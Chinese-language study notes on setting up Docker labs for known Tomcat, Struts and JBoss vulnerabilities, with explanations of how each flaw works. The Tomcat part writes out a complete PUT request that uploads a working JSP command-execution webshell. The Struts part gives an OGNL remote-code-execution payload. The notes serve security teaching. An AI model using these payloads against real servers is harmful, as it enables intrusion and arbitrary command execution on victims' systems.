03-攻防环境搭建
一、PHP攻防环境
1. DVWA
docker pull sagikazarmark/dvwa
docker run -d -p 8080:80 -p 33060:3306 sagikazarmark/dvwa
2. Tomcat
docker search CVE-2017-12615
docker pull docker.io/cved/cve-2017-12615
docker run -d -p 8081:8080 docker.io/cved/cve-2017-12615
docker exec -it containerId bash
代码
linux大小写敏感的
PUT /shell.jsp/ HTTP/1.1
Host: 43.136.41.84:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 302
<%
if("magedu".equals(request.getParameter("pwd"))){
java.io.InputStream in =
Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>
效果图
docker exec -it 773003f67f3c bash
漏洞原理
cat /usr/local/tomcat/conf/web.xml
tomcat本身不允许上传.jsp文件,.jsp/黑名单绕过 上传,然后保存格式.jsp
蚁剑
Tomcat总结
tomcat、shell、蚁剑的关系:
1、因为tomcat存在漏洞,所以可以上传shell
2、能保存是因为系统不允许以/作为后缀名
Tomcat版本:7.0.0-7.0.79、8.5.19
POC: 一段漏洞利用证明的代码
EXP: 利用系统漏洞进行攻击的动作
pauload: 有效载荷,是指攻击成功后,真正在目标系统上执行的代码或指令
RCE: 远程命令/代码执行
3. Struts
S2-048 远程代码执行漏洞(CVE-2017-9791)
影响版本: 2.0.0 - 2.3.32
漏洞原理:
Apache Struts 1插件的Apache Struts 2.3.x 版本中存在远程代码执行漏洞,该漏洞出现于Struts2的某个类中,该类是为了将Struts1中的Action包装成为Struts2中的Action,以保证Struts2中的
Struts1插件启用的情况下,远程攻击者可通过使用恶意字段值,构造特定的输入,发送到
ActionMessage类中,从而导致任意命令执行,进而获取目标主机系统权限。漏洞成因是当
ActionMessage接收客户可控的参数数据时,由于后续数据拼接传递后处理不当导致任意代码执行。
docker search s2-048
docker pull docker.io/piesecurity/apache-struts2-cve-2017-5638
docker run -d -p 8083:8080 piesecurity/apache-struts2-cve-2017-5638
poc
(#_memberAccess=#dm):
((#container=#context['com.opensymphony.xwork2.ActionContext.container']).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))
.(#ognlUtil.getExcludedPackageNames().clear()).
(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).
(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec
('id').getInputStream())).(#q)}
#id 返回当前用户的信息
4. JBoss
docker search CVE-2017-12149
docker pull hackingpub/cve-2017-12149
docker run -d -p 8082:8080 hackingpub/cve-2017-12149
0x01 漏洞简介
该漏洞为 Java反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter过滤
器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致
了攻击者可以在服务器上执行任意代码。
0x02 漏洞版本
漏洞影响5.x和6.x版本的JBoss。
0x03 漏洞原理
java对象1-->字节序列1(文本)-->java对象1
JBOSS Application Server是一个基于J2EE的开放源代码的应用服务器。 JBoss代码遵循LGPL许可,可以在任何商业应用中免费使用。
Java序列化:把Java对象转换为字节序列的过程。Java反序列化:指把字节序列恢复为Java对象的过程。
Java序列化与反序列化作用:便于保存数据,或者进行数据传输。
对比
类型:
tomacat、jboss 中间件
struts 应用框架
利用方式:
tomcat put方法上传一个脚本文件,蚁剑连接脚本文件造成远程代码执行
struts 前端直接利用,不用工具
jboss 通过工具直接利用